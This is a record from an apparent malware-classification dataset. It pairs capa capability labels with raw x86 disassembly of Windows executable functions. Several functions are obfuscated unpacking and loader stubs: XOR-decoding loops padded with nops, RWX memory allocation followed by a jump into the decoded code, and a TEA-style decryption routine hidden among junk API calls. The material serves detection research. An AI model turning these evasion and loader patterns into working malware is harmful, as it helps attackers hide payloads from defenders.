joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x40de38
nop
nop
mov ecx, 0x6dd94245
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data_1
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x589a22f2
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x110d7eac
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xa5313f3
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x808350
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0xb92a90], ax
mov word [0xb92a94], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0xb92a90
mov dword [0xb92a9c], 0x320033
mov dword [0xb92aa4], 0x6c006c
mov word [0xb92a96], cx
mov dword [0xb92a98], 0x6c0065
mov dword [0xb92aa0], 0x64002e
mov word [0xb92a92], dx
mov word [0xb92aa8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0xb92a8c]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0xb92a88], eax
mov eax, dword [0x813adc]
push edx
push eax
mov byte [0x80ed53], 0x65
mov dword [0x80ed49], 0x75747269
mov word [0x80ed4d], 0x6c61
mov byte [0x80ed48], 0x56
mov word [0x80ed54], 0x7463
mov byte [0x80ed56], 0
mov dword [0x80ed4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x808440
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1050
call fcn.0040cf70
cmp dword [0xb92a8c], 0x37
jne 0x808514
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046b4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x454]
push edx
push 0x4046c4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 8]
push edx
push 0x4046d8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0x4046e4
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x854]
push eax
push 0
push 0x40471c
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404748
push 0x404764
push 0x404774
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov ecx, dword [0xb93a80]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x813adc]
mov byte [ecx + esi], al
add esp, 0x1050
ret
Function at 0x8086a0
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0xb92a8c]
sub esp, 0x2dc
push ebx
push ebp
push esi
mov esi, dword [0x813adc]
shr eax, 3
push edi
test eax, eax
je 0x80883b
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x8086d4
mov esi, dword [esp + 0x18]
cmp dword [0xb92a8c], 0x1c
jne 0x8086f1
lea eax, [esp + 0x34]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x80d200]
mov eax, dword [0x80d204]
mov ecx, dword [0x80d208]
mov edi, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x24], edx
mov edx, dword [0x80d20c]
mov ebp, 0xc6ef3720
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x1c], 0x20
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x28]
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
lea edx, [edi + ebp]
xor eax, ecx
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [0xb929fc], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
add dword [esp + 0x14], eax
cmp dword [0xb92a8c], 0x1be
jne 0x80877d
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, ebx
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0xb92a8c], 0x979
mov dword [0xb92a00], 0xff6b3619
mov dword [0xb92a04], 0xffffffff
jne 0x8087ba
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [ebx + ebp]
xor esi, eax
mov eax, dword [esp + 0x14]
xor eax, esi
sub edi, eax
add ebp, 0x61c88647
dec dword [esp + 0x1c]
mov dword [esp + 0x14], eax
jne 0x80872a
cmp dword [0xb92a8c], 0x8d4
jne 0x8087f2
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ebx
cmp dword [0xb92a8c], 0x17
jne 0x80882a
push 0
push 0
push 0
push 0x404690
push 0x4046a0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x8086d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x406310
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x43c3bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4045dc
call fcn.00406f71
push 4
mov dword [esp + 0x18], 0
call fcn.00407dd0
mov edi, eax
add esp, 4
test edi, edi
je 0x406384
push ebx
call fcn.00406e49
mov dword [edi], eax
call fcn.00406c08
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406f32
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406378
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406f5a
pop ebx
jmp 0x406386
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408841
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43fdd0]
jne 0x40884b
repz ret
jmp fcn.0040ddac
Function at 0x412fbe
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43fdd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040abb7
and dword [ebp - 0x14], 0
cmp dword [0x4423d4], 0
mov dword [ebp - 0x18], eax
jne 0x413071
push 0x4040a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x413119
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404094
push ebx
call edi
test eax, eax
je 0x413119
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x404084
push ebx
mov dword [0x4423d4], eax
call edi
push eax
call esi
push 0x404070
push ebx
mov dword [0x4423d8], eax
call edi
push eax
call esi
push 0x404054
push ebx
mov dword [0x4423dc], eax
call edi
push eax
call esi
mov dword [0x4423e4], eax
test eax, eax
je 0x413071
push 0x40403c
push ebx
call edi
push eax
call esi
mov dword [0x4423e0], eax
mov eax, dword [0x4423e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4130ca
cmp dword [0x4423e4], ecx
je 0x4130ca
push eax
call esi
push dword [0x4423e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4130ca
test ebx, ebx
je 0x4130ca
call edi
test eax, eax
je 0x4130c1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4130c1
test byte [ebp - 8], 1
jne 0x4130ca
or dword [ebp + 0x10], 0x200000
jmp 0x4130fd
mov eax, dword [0x4423d8]
cmp eax, dword [ebp - 0x18]
je 0x4130fd
push eax
call esi
test eax, eax
je 0x4130fd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4130fd
mov eax, dword [0x4423dc]
cmp eax, dword [ebp - 0x18]
je 0x4130fd
push eax
call esi
test eax, eax
je 0x4130fd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4423d4]
call esi
test eax, eax
je 0x413119
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41311b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408841
leave
ret
Function at 0x43ada0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0xc0c
cmp dword [0x7c7120], 0x37
jne 0x43ae43
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea ecx, [esp + 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x404148
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x7c7124]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x447184]
mov byte [edx + esi], cl
add esp, 0xc0c
ret
Function at 0x43b050
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7c7120]
sub esp, 0xad4
push ebx
mov ebx, dword [0x447184]
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x43b241
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
jmp 0x43b086
mov ebx, dword [esp + 0x20]
xor esi, esi
cmp dword [0x7c7120], 0x1c
jne 0x43b09d
lea eax, [esp + 0x40]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [ebx + 4]
mov edx, dword [0x440708]
mov eax, dword [0x44070c]
mov edi, dword [ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x440710]
mov dword [esp + 0x34], edx
mov edx, dword [0x440714]
mov ebx, 0xc6ef3720
mov dword [esp + 0x3c], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x24], 0x20
jmp 0x43b0e2
xor esi, esi
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x38]
lea edx, [ebx + edi]
xor ecx, edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
mov dword [0x7c60a4], esi
mov eax, dword [esp + 0x1c]
add dword [0x7c60a4], eax
mov eax, dword [0x7c60a4]
mov dword [esp + 0x30], eax
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x30]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x18], eax
mov edx, dword [esp + 0x18]
shl edx, 4
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x34]
add dword [esp + 0x14], eax
cmp dword [0x7c7120], 0x1be
mov eax, dword [esp + 0x18]
lea ebp, [ebx + eax]
jne 0x43b176
lea ecx, [esp + 0x44]
push ecx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov esi, dword [esp + 0x18]
shr esi, 5
add esi, dword [esp + 0x3c]
cmp dword [0x7c7120], 0x979
mov dword [0x7c60a8], 0xff6b3619
mov dword [0x7c60ac], 0xffffffff
jne 0x43b1c5
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push 0
lea edx, [esp + 0x2e4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [esp + 0x14]
xor esi, ebp
xor eax, esi
sub edi, eax
add ebx, 0x61c88647
dec dword [esp + 0x24]
mov dword [esp + 0x14], eax
jne 0x43b0e0
cmp dword [0x7c7120], 0x8d4
jne 0x43b1fa
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ecx
cmp dword [0x7c7120], 0x17
jne 0x43b230
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x28]
mov dword [esp + 0x20], esi
jne 0x43b080
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xad4
ret
Function at 0x427b43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x427b52
pop dword [ebp - 8]
mov eax, 0xdd644309
sub eax, 0xdd21c7b7
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x8fb9a205
sub dword [ebp - 0x18], 0x41675cba
mov dword [ebp - 0x14], 0xc73579a5
add dword [ebp - 0x14], 0x6afdd2a0
mov dword [ebp - 0x10], 0x44dbf1a7
add dword [ebp - 0x10], 0x7705287
mov dword [ebp - 0xc], 0x25364cf1
sub dword [ebp - 0xc], 0x25364cf1
lea eax, [ebp - 0x18]
push eax
mov eax, 0xa196491
sub eax, 0x9d3b42d
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x68f7f95d
add dword [ebp - 0x18], 0xb7a6ff9
mov dword [ebp - 0x14], 0xae6374fd
sub dword [ebp - 0x14], 0x6cf71388
mov dword [ebp - 0x10], 0x7c1694a7
sub dword [ebp - 0x10], 0x18a7283b
mov dword [ebp - 0xc], 0x6e7498c3
add dword [ebp - 0xc], 0x918b673d
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x414132ee
add eax, 0xbf047d92
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x4da9e
push 0
call eax
mov ecx, 0x65297ef9
add ecx, 0x9ad6c9dc
xor esi, esi
add esi, eax
mov edx, 0xf927e2e1
add edx, 0x71f7d1f
add edx, dword [ebp - 8]
mov ebx, 0x23620c59
add ebx, 0xed140814
add dword [ebp - 4], 0xcf13bc69
mov edi, dword [edx]
xor dword [ebp - 4], 0x195d22b8
xor edi, ebx
add dword [ebp - 4], 0xc6e4320b
mov dword [esi], edi
mov dword [ebp - 4], 0x1f56e991
add esi, 4
add edx, 0x9c78837c
sub edx, 0x9c788378
loop 0x427c76
add eax, 0x8fc9e76d
sub eax, 0x8fc8d146
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x83392e4a
sub ecx, 0x82f92e4a
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403203
pop dword [ebp - 0x4c]
mov eax, 0x403203
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x57fdfc02
add dword [ebp - 0x5c], 0xf6544949
mov dword [ebp - 0x58], 0xc3123204
sub dword [ebp - 0x58], 0x90dee5bf
mov dword [ebp - 0x54], 0x96ec60ee
sub dword [ebp - 0x54], 0x4aa01cc0
mov dword [ebp - 0x50], 0x7b664e52
sub dword [ebp - 0x50], 0x7b664e52
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xbed8ca1b
sub eax, 0xbe98498f
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x67402bad
sub dword [ebp - 0x5c], 0xf2cdc257
mov dword [ebp - 0x58], 0x6246fc41
add dword [ebp - 0x58], 0xdf256534
mov dword [ebp - 0x54], 0x87455a63
sub dword [ebp - 0x54], 0x23d5edf7
mov dword [ebp - 0x50], 0x7cf7d8bc
add dword [ebp - 0x50], 0x83082744
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x134e72f3
add eax, 0xecf20de1
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38509
push 0
call eax
mov ecx, 0x4ee2
mov esi, eax
mov edx, 0x4da9487d
add edx, 0xb297c783
add edx, dword [ebp - 0x4c]
mov ebx, 0x7488907
sub ebx, 0x4a9768d1
xor dword [ebp - 0x1c], ebx
mov edi, dword [edx]
xor dword [ebp - 0x24], 0x3e52e4da
xor edi, ebx
sub dword [ebp - 0x48], esi
mov dword [esi], edi
xor dword [ebp - 0x3c], 0x68e532d3
add esi, 4
add edx, 4
loop 0x40331a
add eax, 0xad77399
sub eax, 0xad6453e
xor ebx, ebx
add ebx, eax
add eax, 0xd4282505
sub eax, 0xd4282500
mov ecx, 0x90c05160
add ecx, 0x6f7faea0
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x406040
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x80ffcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404304
call fcn.00406ca1
push 4
mov dword [esp + 0x18], 0
call fcn.00407b62
mov edi, eax
add esp, 4
test edi, edi
je 0x4060b4
push ebx
call fcn.00406b79
mov dword [edi], eax
call fcn.00406938
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406c62
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4060a8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406c8a
pop ebx
jmp 0x4060b6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4085d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x813dc0]
jne 0x4085db
repz ret
jmp fcn.0040dd3c
Function at 0x412944
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x813dc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a94a
and dword [ebp - 0x14], 0
cmp dword [0x8163b4], 0
mov dword [ebp - 0x18], eax
jne 0x4129f7
push 0x403fa0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412a9f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403f94
push ebx
call edi
test eax, eax
je 0x412a9f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403f84
push ebx
mov dword [0x8163b4], eax
call edi
push eax
call esi
push 0x403f70
push ebx
mov dword [0x8163b8], eax
call edi
push eax
call esi
push 0x403f54
push ebx
mov dword [0x8163bc], eax
call edi
push eax
call esi
mov dword [0x8163c4], eax
test eax, eax
je 0x4129f7
push 0x403f3c
push ebx
call edi
push eax
call esi
mov dword [0x8163c0], eax
mov eax, dword [0x8163c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412a50
cmp dword [0x8163c4], ecx
je 0x412a50
push eax
call esi
push dword [0x8163c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412a50
test ebx, ebx
je 0x412a50
call edi
test eax, eax
je 0x412a47
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x412a47
test byte [ebp - 8], 1
jne 0x412a50
or dword [ebp + 0x10], 0x200000
jmp 0x412a83
mov eax, dword [0x8163b8]
cmp eax, dword [ebp - 0x18]
je 0x412a83
push eax
call esi
test eax, eax
je 0x412a83
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x412a83
mov eax, dword [0x8163bc]
cmp eax, dword [ebp - 0x18]
je 0x412a83
push eax
call esi
test eax, eax
je 0x412a83
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8163b4]
call esi
test eax, eax
je 0x412a9f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412aa1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085d1
leave
ret
Function at 0x80ea50
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0xc0c
cmp dword [0xb9b100], 0x37
jne 0x80eaf3
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea ecx, [esp + 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x404110
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0xb9b104]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x81b164]
mov byte [edx + esi], cl
add esp, 0xc0c
ret